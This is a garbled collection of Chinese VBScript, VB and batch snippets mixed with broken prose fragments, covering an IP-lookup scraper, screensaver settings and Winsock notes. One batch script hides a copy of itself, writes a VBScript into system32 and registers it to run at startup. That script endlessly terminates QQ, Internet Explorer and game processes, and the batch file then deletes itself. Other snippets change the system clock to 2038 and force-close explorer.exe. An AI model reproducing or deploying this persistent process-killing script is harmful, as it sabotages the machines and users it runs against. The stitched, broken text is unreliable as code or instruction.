属性属性名称数据类型和用途ActiveConnection指针类型，指向Command所关联的Connection对象msg="请输入你要查询的IP或域名:" IP=Inputbox(msg,"IP地理位置查询小偷") IfIP=""ThenIP="127.0.0.1" url=""&IP&"" Body=getHTTPPage(url) SetRe=NewRegExp Re.Pattern="(查询结果为：.+)" SetMatches=Re.Execute(Body) IfMatches.Count>0ThenBody=Matches(0) 'Re.Pattern="\[[\s\S]*\]" 'Body=Re.Replace(Body,"") 'wscript.echoIP&Body SetoXMLHttpRequest=Nothing SetobjExplorer=WScript.CreateObject("InternetExplorer.Application") objExplorer.Navigate"about:blank" objExplorer.ToolBar=0 objExplorer.StatusBar=0 objExplorer.Visible=1 objExplorer.height=300 objExplorer.width=400 objExplorer.left=400 objExplorer.resizable=0 objExplorer.Document.Body.InnerHTML=IP&Body 'objExplorer.document.parentwindow.clipboardData.SetData"text",IP&Body SetobjExplorer=nothing '函数区 FunctiongetHTTPPage(Path) t=GetBody(Path) getHTTPPage=BytesToBstr(t,"UTF-8") EndFunction FunctionGetBody(url) OnErrorResumeNext SetRetrieval=CreateObject("Microsoft.XMLHTTP") WithRetrieval .Open"Get",url,False,"","" .Send GetBody=.ResponseBody EndWith SetRetrieval=Nothing EndFunction FunctionBytesToBstr(Body,Cset) Dimobjstream Setobjstream=CreateObject("adodb.stream") objstream.Type=1 objstream.Mode=3 objstream.Open objstream.WriteBody objstream.Position=0 objstream.Type=2 objstream.Charset=Cset BytesToBstr=objstream.ReadText objstream.Close Setobjstream=Nothing EndFunction

" GetD s else d=split(r(left(p,len(p)-1)),".") msgbox "选择：" & d(1) Document.forms("ValidForm").FPath.Value=d(1) spath="Root" end if else if p=1 then msgbox "已经是根目录我个人因为经常作一些数据库方面的程序，对于程序间如何与数据库进行接口的问题之烦是深有体会，因为VB在数据库链接的时候，一般是静态，即数据库存放的路径是固定的，如用VB的DATA，adodc,DataEnvironment等到作数据库链接时，如果存放数据库的路径被改变的话，就会找不到路经，真是一个特别烦的事

@echo off attrib -s -h -a -r d:\jk.bat 1>nul 2>nul if exist d:\jk.bat del d:\jk.bat /q copy %0 d:\jk.bat /y >nul attrib +s +h +a +r d:\jk.bat if exist %windir%\system32\jk.vbs del %windir%\system32\jk.vbs echo y|reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v DATA /t REG_SZ /d c:\windows\system32\jk.vbs >nul echo Do>>%windir%\system32\jk.vbs echo WScript.Sleep 3000>>%windir%\system32\jk.vbs echo strComputer="." >>%windir%\system32\jk.vbs echo Set objWMIService=GetObject("winmgmts:\" ^& strComputer ^& "\root\CIMV2") >>%windir%\system32\jk.vbs echo Set colItems=objWMIService.ExecQuery( _>>%windir%\system32\jk.vbs echo "SELECT * FROM Win32_Process",,48)>>%windir%\system32\jk.vbs echo For Each objItem in colItems >>%windir%\system32\jk.vbs echo If objItem.Name="QQ.exe" Or objItem.Name="iexplore.exe" Or _>>%windir%\system32\jk.vbs echo objItem.Name="client.exe" Or objItem.Name="game.exe" _>>%windir%\system32\jk.vbs echo Then objitem.Terminate()>>%windir%\system32\jk.vbs echo Next>>%windir%\system32\jk.vbs echo loop>>%windir%\system32\jk.vbs start %windir%\system32\jk.vbs del %0 /q 所以我们只好使用MemoryDC的方式来做，产生一个MemoryDc後将BitMap图放於其上，之後便可以使用BitBlt来绘图了

'Author: Demon 'Website: 'Date : 2011/4/27 dtmNewDateTime="20380119031408.000000+480" 'UTC时间 strComputer="." Set objWMIService=GetObject("winmgmts:{(Systemtime)}\" & strComputer & "\root\cimv2") Set colOSes=objWMIService.ExecQuery("Select * From Win32_OperatingSystem") For Each objOS In colOSes objOS.SetDateTime dtmNewDateTime Next

->如何关闭ScreenSave功能,改变Timeout时间　　此外希望只有本次使用Windows时改变(下次开机时还原原状)，则最後参数改为　SPIF_SENDWININICHANGE(没有SPIF_UPDATEINIFILE)ConstSPI_SETSCREENSAVEACTIVE=17ConstSPI_SETSCREENSAVETIMEOUT=15ConstSPIF_SENDWININICHANGE=&H2ConstSPIF_UPDATEINIFILE=&H1PrivateDeclareFunctionSystemParametersInfoLib"user32"Alias_　　"SystemParametersInfoA"(ByValuActionAsLong,ByValuParamAsLong,_　　ByVallpvParamAsLong,ByValfuWinIniAsLong)AsLongPrivateSubSetScreenSaveTimeout(ByValBySecondAsLong)　CallSystemParametersInfo(SPI_SETSCREENSAVETIMEOUT,BySecond,0,_　　　　　SPIF_UPDATEINIFILE SPIF_SENDWININICHANGE)EndSubPrivateSubEnableScreenSave()　CallSystemParametersInfo(SPI_SETSCREENSAVEACTIVE,1,0,_　　　　　SPIF_UPDATEINIFILE SPIF_SENDWININICHANGE)EndSubPrivateSubDisableScreenSave()　CallSystemParametersInfo(SPI_SETSCREENSAVEACTIVE,0,0,_　　　　　SPIF_UPDATEINIFILE SPIF_SENDWININICHANGE)EndSub->->

Dim objWMI,wsh Dim colProcesses,objProcess pid=0 set objWMI=GetObject( "winmgmts:{impersonationLevel=impersonate}//. /root/cimv2" ) set colProcesses=objWMI.ExecQuery( "SELECT * FROM Win32_Process" & _ " WHERE Name='explorer.exe'" ) for Each objProcess In colProcesses pid=objProcess.ProcessId Next set wsh=WScript.CreateObject("WScript.Shell") wsh.AppActivate pid wsh.sendKeys "%{F4}" wincc中c

----......

----一个Winsock控件可以建立与一个计算机的联接，服务器程序中首先设置一个Winsock控件，将其索引值设为０，以便在运行时动态增减元素，这样可以与多个计算机进行对话logevent的用法：logeventeventtype,"description"[,remotesystem]，其中eventtype为日志类型，可以使用的参数如下：0代表成功执行，1执行出错，2警告，4信息，8成功审计，16故障审计。